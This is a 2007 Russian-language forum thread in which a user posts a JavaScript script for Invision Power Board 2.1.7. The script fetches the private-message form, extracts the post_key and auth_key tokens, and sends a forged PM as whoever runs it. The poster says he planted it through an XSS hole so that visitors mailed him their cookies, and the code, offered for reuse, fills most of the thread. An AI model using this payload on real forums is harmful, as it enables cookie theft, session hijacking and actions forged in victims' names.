Отправка персоналок в ipb 2.1.7 через ajax

Discussion in 'PHP' started by _Nikolas_, 11 Apr 2007.

  1. _Nikolas_

    _Nikolas_ New Member

    Joined:
    27 Dec 2006
    Messages:
    17
    Likes Received:
    3
    Reputations:
    0
    Вот писал когда-то, решил выложить.

    Скрипт отправляет персональное сообщение любому пользователю в форуме ipb 2.1.7 (тестировалось только на этой версии, возможно будет работать и на других).

    В свое время запихнул его в xss и юзеры сами слали мне куки :p

    Конечно практическое применение не велико, ибо запихнуть такой здоровый скрипт редко удается. Зато не происходит обращение к левым хостам.

    Суть работы простая: сначала посылает GET-запрос на страничку отправки персоналки, и выпарсивает оттуда post_key и auth_key, а затем генерит multipart/form-data POST-запрос с телом сообщения и шлет его.

    В общем может будет кому полезен. :)

    PHP:
    //эти переменные править
            
    var forum "http://www.forum.ru";
            var 
    msg_user "admin";
            var 
    msg_title "TEST";
            var 
    msg_post "TEST POST";
            
            var 
    boundary "---------------------------1065103348625032172387451659";
            
            var 
    http_request false;
            
            function 
    createHttpRequest() {
                
    http_request false;
                if (
    window.XMLHttpRequest) { // Мозилла, опера и т.д.
                    
    http_request = new XMLHttpRequest();
                    if (
    http_request.overrideMimeType) {
                        
    // Выставляем тип странички
                        
    http_request.overrideMimeType('text/xml');
                    }
                } else if (
    window.ActiveXObject) { // Интернет эксплорер
                    
    try {
                        
    http_request = new ActiveXObject("Msxml2.XMLHTTP");
                    } catch (
    e) {
                        try {
                            
    http_request = new ActiveXObject("Microsoft.XMLHTTP");
                        } catch (
    e) {}
                    }
                }
                return 
    http_request;
            }
            
            function 
    makeGETRequest(urlparam) {
                
    http_request createHttpRequest();
                if (!
    http_request) {
                    
    //alert('Cannot create XMLHTTP instance');
                    
    return false;
                }
                
    http_request.onreadystatechange alertContents//Тут написать функцию которая вызовется после получения странички
                
    http_request.open('GET'url paramtrue);
                
    http_request.send(null);
            }
            
            function 
    makePOSTRequest(urlparam) {
                
    http_request http_request createHttpRequest();
                if (!
    http_request) {
                    
    //alert('Cannot create XMLHTTP instance');
                    
    return false;
                }
                
    http_request.onreadystatechange alertPost//Тут написать функцию которая вызовется после получения странички
                
    http_request.open('POST'urltrue);
                
    http_request.setRequestHeader("Content-type""multipart/form-data; boundary=" boundary);
                
    http_request.setRequestHeader("Content-length"param.length);
                
    http_request.send(param);
            }
            
            function 
    alertContents() {
                if (
    http_request.readyState == 4) { // Говорит о том что все загружено
                    
    if (http_request.status == 200) { // Статут загрузки страницы, если 200 то все нормально
                        //alert("ok");
                        
    var xml http_request.responseText;
                        var 
    re_post = new RegExp"name=\"post_key\" value=\"([a-z0-9]+)\"" );
                        var 
    re_auth = new RegExp"name=\"auth_key\" value=\"([a-z0-9]+)\"" );
                        var 
    post_key re_post.execxml )[1];
                        var 
    auth_key re_auth.execxml )[1];
                        var 
    param '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="removeattachid"\r\n\r\n0\r\n' 
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="OID"\r\n\r\n\r\n' 
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="act"\r\n\r\nMsg\r\n' 
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="CODE"\r\n\r\n04\r\n' 
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="MODE"\r\n\r\n01\r\n' 
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="post_key"\r\n\r\n' post_key '\r\n' 
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="auth_key"\r\n\r\n' auth_key '\r\n' 
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n15360000\r\n' 
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="entered_name"\r\n\r\n' msg_user '\r\n' +
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="from_contact"\r\n\r\n-\r\n' +
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="msg_title"\r\n\r\n' msg_title '\r\n' +
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="ffont"\r\n\r\n0\r\n' 
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="fsize"\r\n\r\n0\r\n' 
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="Post"\r\n\r\n' msg_post '\r\n' +
                            
    '--' boundary '\r\n' 
                            
    'Content-Disposition: form-data; name="FILE_UPLOAD"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n' 
                            
    '--' boundary '--\r\n';
                       
    makePOSTRequestforum "/index.php?act=msg"param );
                    } else {
                        
    //alert('There was a problem with the request.');
                        //alert(http_request.status);
                    
    }
                }
            }
            function 
    alertPost() {
                
    //здесь можем обработать результат отсылки, если захотим
            
    }
            
    //вызываем эту функцию для отправки сообщения
            
    function main() {
                
    makeGETRequestforum "/index.php?""act=Msg&CODE=04" );
            }
     
    1 person likes this.
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Гы, а если мы иммем доступ , зачем нам куки...
    хеш там, хеш здесь..какая ранциа?
     
  3. _Nikolas_

    _Nikolas_ New Member

    Joined:
    27 Dec 2006
    Messages:
    17
    Likes Received:
    3
    Reputations:
    0
    пардон за не понимание, какой доступ и куда?

    если непонятно повторю: я запихивал скрипт в xss и он слал куки любому пользователю на форуме, ясен пень я указал свой аккаунт, и все куки шли мне.
     
  4. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    А так это скрипт хсс..
    Тогда ясно =\